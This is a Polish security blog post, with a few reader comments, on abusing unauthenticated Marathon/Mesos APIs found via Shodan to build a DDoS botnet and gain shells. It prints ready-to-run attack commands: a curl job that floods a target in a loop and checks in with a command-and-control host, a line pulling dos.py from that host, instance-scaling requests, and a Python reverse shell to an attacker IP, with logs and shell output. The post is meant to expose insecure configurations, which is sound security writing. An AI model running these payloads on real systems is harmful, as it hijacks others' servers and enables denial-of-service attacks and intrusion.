Preorder drugiego tomu książki sekuraka: Wprowadzenie do bezpieczeństwa IT. -15% z kodem: sekurak-book
Botnet za jeden uśmiech
-
Dlaczego era rozproszonych systemów obliczeniowych może sprzyjać tworzeniu ataków DDoS i botnetów.
Wstęp
Pozostańmy jeszcze przy shodanie. Tym razem po to, aby przyjrzeć mu się z punktu widzenia pewnych mechanizmów, środowiska rozproszonego i – bardziej niebezpiecznego. Kilka dni temu, pojawiła się wiadomość, że DC/OS stał się dostępny w chmurze obliczeniowej Azure. W praktyce oznacza to, że uruchamiając X maszyn wirtualnych w tej usłudze, będziemy w stanie spiąć je w jeden klaster, oferujący wspólne zasoby obliczeniowe, pamięciowe i dyskowe. Zyskamy także możliwość dowolnego dzielenia tych zasobów, wedle naszych potrzeb i rodzajów aplikacji, które będziemy chcieli uruchomić. Na przykład, na maszynie wyposażonej w 4 CPU / 4 GB RAM i 10 GB przestrzeni dyskowej, jesteśmy w stanie uruchomić trzy aplikacje, gdzie każda pochłonie 1 CPU / 1 GB RAM i 2 GB dysku (resztę pozostawiamy dla samego systemu i zarządcy, który będzie dbał o kondycję tych aplikacji). Oczywiście, użytkownicy nie musieli czekać, aż DC/OS pojawi się w Marketplace, ponieważ jest to także projekt Open Source, do samodzielnego zainstalowania na dowolnym dostawcy chmury. W dodatku, wiele osób – jak dotychczas – decyduje się na czyste instalacje silnika Mesos, wraz z frameworkiem Aurora lub Marathon. Dwóm ostatnim przyjrzymy się z bliska, udowadniając, że w nieodpowiednich rękach, może stanowić szybkie i niebezpieczne narzędzie.
Scenariusze ataku
Publicznych instalacji Marathon + Mesos, bez jakiejkolwiek autoryzacji jest niewiele, bo blisko 400 (podziękowania dla Jędrzeja za podsunięcie „liderów”), ale to nie powinno stanowić problemu. Jak pamiętamy, każda taka instalacja może składać się – począwszy od jednej – do nawet kilkuset maszyn wirtualnych lub fizycznych, oferujących swój potencjał obliczeniowy. I nagle – okazuje się, że nie trzeba nawet zgadywać haseł i przeszukiwać Internetu dla kamer, aby stworzyć własny, skalowalny botnet do przeprowadzania ataków DDoS (lub wysyłania spamu). Dysponując listą adresów IP, z otwartym API Marathona, jesteśmy w stanie bez większego nakładu pracy, wykonać następujące scenariusze:
1) Za pomocą /ping sprawdzamy, które adresy rzeczywiście są jeszcze dostępne i zapisujemy je pod postacią nowej, wyfiltrowanej listy. Opcjonalnie, możemy wykorzystać /v2/info, aby pogrupować cele wedle wersji Marathona, gdyby okazało się, że niektóre zasoby API, jakie chcemy wykorzystać, są dostępne tylko w określonych wersjach. Iterując po nowej liście adresów IP, zaczynamy masowy deployment naszego botnetu, przy pomocy metody POST do /v2/apps:
curl -XPOST -H "Content-Type: application/json" http://$IP:8080/v2/apps -d '{ "id": "personal.world.destroyer", "cmd": " while :; do curl -A \"personal.world.destroyer\" http://$TARGET; done", "cpus": 0.5, "mem": 32, "disk": 0, "instances": 1, "env": { "TARGET": "ofiara-ddos.pl" }, "labels": { "appname": "ddos" }, "healthChecks": [ { "protocol": "COMMAND", "command": { "value": "curl -f http://command-and-control.pl" }, "gracePeriodSeconds": 300, "intervalSeconds": 600, "timeoutSeconds": 20, "maxConsecutiveFailures": 3, "ignoreHttp1xx": false } ], "container": null, "portDefinitions": [ { "port": 0, "protocol": "tcp", "name": null, "labels": null } ], "executor": "" }'
Naszym botnetem jest prosty curl, wysyłający w nieskończonej pętli żądania do adresu ofiara-ddos.pl.
Na powyższym przykładzie, widzimy User-Agent ustawiony jako „personal.world.destroyer”, aby wyłapać testowo skuteczność przekazanych ustawień (0.5 CPU / 32 MB RAM), która wyniosła 2 req/s do testowego celu. W rzeczywistości, brak losowości w identyfikatorze przeglądarki, jednoznacznie mógłby skazać taki atak na zablokowanie, ze względu na możliwość szybkiego wyróżnienia wzoru nadmiarowego ruchu:
05.22.155.40 - - [09/Oct/2016:08:21:34 +0200] "GET / HTTP/1.1" 200 296 "-" "personal.world.destroyer" 205.22.155.40 - - [09/Oct/2016:08:21:34 +0200] "GET / HTTP/1.1" 200 296 "-" "personal.world.destroyer" 205.22.155.40 - - [09/Oct/2016:08:21:35 +0200] "GET / HTTP/1.1" 200 296 "-" "personal.world.destroyer" 205.22.155.40 - - [09/Oct/2016:08:21:35 +0200] "GET / HTTP/1.1" 200 296 "-" "personal.world.destroyer" 205.22.155.40 - - [09/Oct/2016:08:21:36 +0200] "GET / HTTP/1.1" 200 296 "-" "personal.world.destroyer" 205.22.155.40 - - [09/Oct/2016:08:21:36 +0200] "GET / HTTP/1.1" 200 296 "-" "personal.world.destroyer"
Oczywiście, curl nie jest najbardziej efektywnym narzędziem do przeprowadzania ataków DDoS, ale jest najczęściej wykorzystywany w systemach Linux oraz do obsługi żądań http w konsoli. Jednak wbudowane, czy zainstalowane narzędzia, nie muszą stanowić dla nas ograniczeń, ponieważ istnieje możliwość ściągnięcia zewnętrznych paczek oprogramowania do uruchomienia. Wystarczy, że gotowy zestaw plików i bibliotek naszego szkodliwego oprogramowania, spakujemy w .zip i podamy przy uruchamianiu instancji:
"uris": [ "http://command-and-control.pl/dos.py" ]
Wróćmy jeszcze do naszej testowej „ofiary”, która aktualnie jest atakowana z prędkością ~800 req/s (400 x 2). Jej strona jeszcze odpowiada, więc musimy podkręcić trochę tempo – powiedzmy, wstępnie do ~4.000 req/s, czyli podnosimy ilość instancji z 1 do 5, per instalacja Marathon – do każdego IP wysyłamy po jednym żądaniu z aktualizacją jednego parametru:
curl -v -H "Content-Type: application/json" -XPUT http://$IP:8080/v2/apps//personal.world.destroyer -d '{ "instances": 5 }' * Trying $IP... * Connected to notsecuremarathon.com (10.10.0.10) port 80 (#0) > PUT /v2/apps//personal.world.destroyer HTTP/1.1 > Host: notsecuremarathon.com > User-Agent: curl/7.43.0 > Accept: */* > Content-Type: application/json > Content-Length: 18 > * upload completely sent off: 18 out of 18 bytes < HTTP/1.1 200 OK < Server: Jetty(8.y.z-SNAPSHOT) < Date: Sun, 09 Oct 2016 07:06:08 GMT < Content-Type: application/json; qs=2 < Transfer-Encoding: chunked < Connection: keep-alive < Cache-Control: no-cache, no-store, must-revalidate < X-Marathon-Leader: http://mesos1.notsecuremarathon.com:8080 < Expires: 0 < Pragma: no-cache < X-Marathon-Via: 1.1 mesos1.notsecuremarathon.com:8080 < * Connection #0 to host notsecuremarathon.com:8080 left intact {"version":"2016-10-09T07:06:05.581Z","deploymentId":"0d3fefb9-d850-430b-8e43-b86172977a97"}
Analogicznie, możemy bardzo szybko zmienić cel ataku – wystarczy, że zaktualizujemy zmienną środowiskową: „env”: { „TARGET”: „ofiara-ddos.pl” }.
Jeśli chcemy wykorzystać wszystkie dostępne zasoby przejętych klastrów, wystarczy że podniesiemy ilość instancji do jakiejś skrajnej wartości – np. 999. Nie musimy się martwić, że przesadzimy – dopóki dany zasób (cpu/mem/hdd) będzie dostępny do użytkowania, nasze aplikacje go otrzymają i będą się „klonować” – aż do osiągnięcia limitu. Reszta będzie oczekiwać w kolejce na dodanie nowych maszyn do klastra. W ten sposób, możemy wykorzystać wszystkie maszyny (chyba, że ktoś skonfigurował ich określoną ilość – ale tego raczej nie musimy się obawiać – ostatecznie są to serwery, których nikomu nie chciało się zabezpieczać), choć wówczas, nasza działalność zostanie szybciej zauważona. Po prostu, „normalne” aplikacje nie będą wstanie się wyskalować; jeszcze szybciej zostaniemy dostrzeżeni, gdy „ubijemy je”, aby udostępnić pole do działania dla naszego botnetu :-)
2) Nie wszyscy lubią bawić się w botnety oparte o Mesos – to zrozumiałe. Większość może preferować uzyskanie pełnego dostępu do maszyny, w celu zainstalowania własnego malware, rootkita, czy stworzeniu jump station do wykonywania kolejnych ataków na sieć wewnętrzną, lub niepowiązaną z obecnym celem.
W przypadku Mesosa, najprostszą techniką uzyskania tego typu dostępu, będzie reverse shell. Dzięki tej technice serwery slave, nie muszą być dostępne z sieci publicznej bez zapory ogniowej – mogą mieć firewall i tylko otwarty port ssh (22). Jeśli posiadają możliwość łączenia się z Internetem – wymuszamy, aby połączyły się z naszym serwerem C&C, który będzie nasłuchiwał na konkretnym porcie i czekał na zgłoszenie się atakowanego serwera. W dodatku, ten sam serwer łącząc się z naszym portem, uruchomi nam powłokę systemową, dając pełny dostęp. Na serwerze C&C, uruchamiamy nasłuch na porcie 1234 za pomocą polecenia nc, a na otwartym Marathonie wdrażamy naszą odwróconą powłokę (reverse shell):
{ "id": "reverse.shell", "cmd": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.0.10\",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'", "cpus": 1, "mem": 128, "disk": 0, "instances": 1, "constraints": [ [ "hostname", "UNIQUE" ] ] }
Gdy tylko aplikacja wystartuje, nasz serwer powinien otrzymać zdalny dostęp do serwera, który ją uruchomił:
agresor@c&c:~$ nc 10.10.0.10 -l 1234 /bin/sh: 0: can't access tty; job control turned off $ $ $ id uid=1000(mesos) gid=1000(mesos) groups=1000(mesos) $ uname -a Linux slave1 3.19.0-26-generic #28~14.04.1-Ubuntu SMP Wed Aug 12 14:09:17 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux $ hostname -i 10.10.10.1 $
Jak dostać się do każdego serwera w klastrze, licząc że nasza aplikacja nie zostanie uruchomiona ponownie na serwerze, który już przejęliśmy?
Przy tworzeniu aplikacji, wykorzystaliśmy wymuszenie (constraints) unikalnego hostname, co oznacza, że nasz reverse shell, powinien uruchomić się po jednej kopii per każdy serwer. Sprawdźmy to.
Zakończmy połączenie z aktualnym serwerem i zwiększmy ilość instancji powłoki z 1 do 2. Powinno nastąpić połączenie z innego serwera:
$ exit agresor@c&c:~$ nc 10.10.0.10 -l 1234 /bin/sh: 0: can't access tty; job control turned off $ $ uname -a Linux slave3 3.19.0-26-generic #28~14.04.1-Ubuntu SMP Wed Aug 12 14:09:17 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux $ hostname -i 10.10.10.3
I rzeczywiście tak się stało. Jeśli zależy nam na szybkości, możemy prowadzić nasłuch na zakresie portów, a reverse shell zaprogramować w sposób bardziej inteligentny, aby zgłaszała się do nas za każdym razem na innym porcie z zakresu. W zależności od konfiguracji klastra, w najgorszym wypadku trafimy do powłoki, która jest odizolowana i uruchomiona przez regularnego użytkownika systemu, a w najlepszym – bez żadnej izolacji na czystym koncie root.
Podsumowanie
Spektakularne akcje cyberprzestępców – „czarnych charakterów”, pokonujących kolejne warstwy cyfrowych zabezpieczeń, lub rozszyfrowujących potencjalne luki w aplikacjach za pomocą smartfonów, są wdzięcznym tematem w produkcjach rodem (nie tylko) z Hollywood – gdzie fikcja (najczęściej) ma niewiele wspólnego z rzeczywistością i bywa dla niej miernym przykładem. W większości przypadków, napastnicy zaczynają od najłatwiejszych celów:
- źle skonfigurowanych frameworków,
- systemów z przestarzałymi pakietami,
- paneli administracyjnych i API dostępnych z Internetu,
- łatwych do odgadnięcia haseł lub danych uwierzytelniających, które przez pomyłkę wyciekły w repozytoriach kodu open source.
W powyższym przykładzie zamieniliśmy Mesosa – bardzo przyjazne środowisko do wdrażania i utrzymywania aplikacji, w „wylęgarnię” malware i automatyczne „działko do DDoS”.
I to za jeden uśmiech – niedowierzania (a może i politowania) – jak to możliwe, aby to wszystko było tak łatwo dostępne…
Więcej informacji:
– Patryk Krawaczyński
A jak się ma sprawa z dockerem? Są jakieś darmowe (w sensie na stałe a nie 2-3 dni czy miesiąc) serwisy oferujące zainstalowanie takiego systemu-obrazu?
Tam chyba łatwiej było by takie podatności znaleźć.
Tylko czy ktokolwiek oferuje usługę za darmo. Bo jeśli za pieniądze to przejęcie-włamanie można by szybko zidentyfikować.
Moze jakis art o https://getgophish.com/? :)